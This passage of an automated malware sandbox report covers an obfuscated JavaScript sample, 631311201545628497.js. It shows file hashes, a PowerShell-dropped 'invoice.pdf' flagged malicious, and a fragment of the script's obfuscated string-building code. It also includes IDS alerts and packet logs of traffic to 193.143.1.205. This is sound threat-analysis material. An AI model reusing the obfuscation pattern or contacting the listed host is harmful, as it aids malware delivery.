Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a15d57a2-73fa-4461-a193-ea14e47b5afb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a2c71740-57cd-425d-8cc3-045bd5ecb872.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a3f2e41e-341a-459c-8b1c-d6b7b52a03f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15579), with CRLF line terminators
Entropy (8bit):	4.899730683673637
TrID:
File name:	631311201545628497.js
File size:	19'007 bytes
MD5:	2930e868976b301d82360fc393bd5aad
SHA1:	7f516e55c674f4fdee6bb7955d89dac61528ec12
SHA256:	21ae94b41128b904c6fe6b8dcbd704c228142fafea7a870b87e1f425eee7755b
SHA512:	6d5647e5869f750b24bc519000b16a0aed3eb8c5259314a87ca30ea2d87d2e3211881a21cafeaf1d6b5f7193659c829a17e064c4196d33f60f26387b5bb9ac1a
SSDEEP:	384:b+fALb5fCifALT0DbV5VeBdEJ1n0pH8Bb2Xk/gS:bqAfJCOA/K4dMecR2G
TLSH:	E88263D5F998CA8B9DFC06E292D708A50798039DD5E8C3F11CCDA8E805F8AB615D38F5
File Content Preview:	function spfulez(){kwlfsewrn=[1031,3079,5127,4103,2055,3072];var uwpvmtk=this[aleafugo+zprcfka+vqdyaim+ttrqzb+vxcwlsks+yhrjenq+elbveuez+hzrxaz](this[cvxzp+wztpj+efaeftfl+vqdyaim+gouqhd+aleafugo+hzrxaz][paicgmmb+vqdyaim+vxcwlsks+zprcfka+hzrxaz+vxcwlsks+qfk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:32:02.366707+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49706	193.143.1.205	80	TCP
2025-01-10T23:32:04.835536+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:32:01.589371920 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:01.594572067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:01.594676971 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:01.597590923 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:01.602412939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366590977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366617918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366631031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366642952 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366656065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366672993 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366692066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366703987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366707087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.366712093 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366729975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.366765022 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.366780996 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.409519911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.409531116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.409585953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.409660101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.409672022 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.409714937 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.484252930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484272957 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484327078 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.484452009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484484911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484496117 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484519005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.484740973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484771013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484776020 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.484781981 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484817028 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.484833002 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484843969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.484883070 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.485502958 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.485590935 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.485601902 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.485613108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.485626936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.485630989 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.485673904 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.486352921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.486386061 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.486391068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.486397982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.486435890 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.486435890 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.486448050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.486484051 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.487234116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.496332884 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.496371984 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.526849031 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.527004957 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.527015924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.527029037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.527040958 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.527066946 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.571302891 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.571428061 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.571469069 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602070093 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602082968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602098942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602111101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602122068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602145910 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602157116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602164030 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602179050 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602215052 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602473021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602511883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602515936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602617025 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602628946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602642059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602652073 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602652073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602684975 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602922916 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602953911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602963924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.602965117 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.602997065 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.603044987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603055000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603066921 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603104115 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.603810072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603821039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603832960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603844881 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603849888 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.603857994 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603869915 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603882074 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.603882074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603893995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.603909969 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.603925943 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.604671955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604684114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604696989 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604727030 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.604748964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604751110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.604759932 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604770899 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604784012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604795933 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.604800940 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.604826927 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.605628967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605649948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605663061 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605681896 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.605710983 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.605740070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605751991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605763912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605775118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.605799913 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.605823040 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.614897966 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644599915 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644612074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644623995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644702911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644716024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644726992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.644741058 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.644769907 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.644769907 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.688700914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.688720942 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.688733101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.688744068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.688747883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.688766956 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.719454050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719470978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719480991 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719492912 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719505072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719522953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.719554901 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.719568968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719600916 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719634056 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.719656944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719688892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719700098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719722986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719758034 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.719899893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719947100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719958067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.719978094 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720006943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720019102 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720043898 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720242023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720277071 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720333099 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720344067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720355034 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720366955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720379114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720379114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720391035 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720401049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720419884 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720710039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720747948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720757961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720777988 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:32:02.720976114 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.720992088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721004963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 23:32:02.721009016 CET	49706	80	192.168.2.9	193.143.1.205
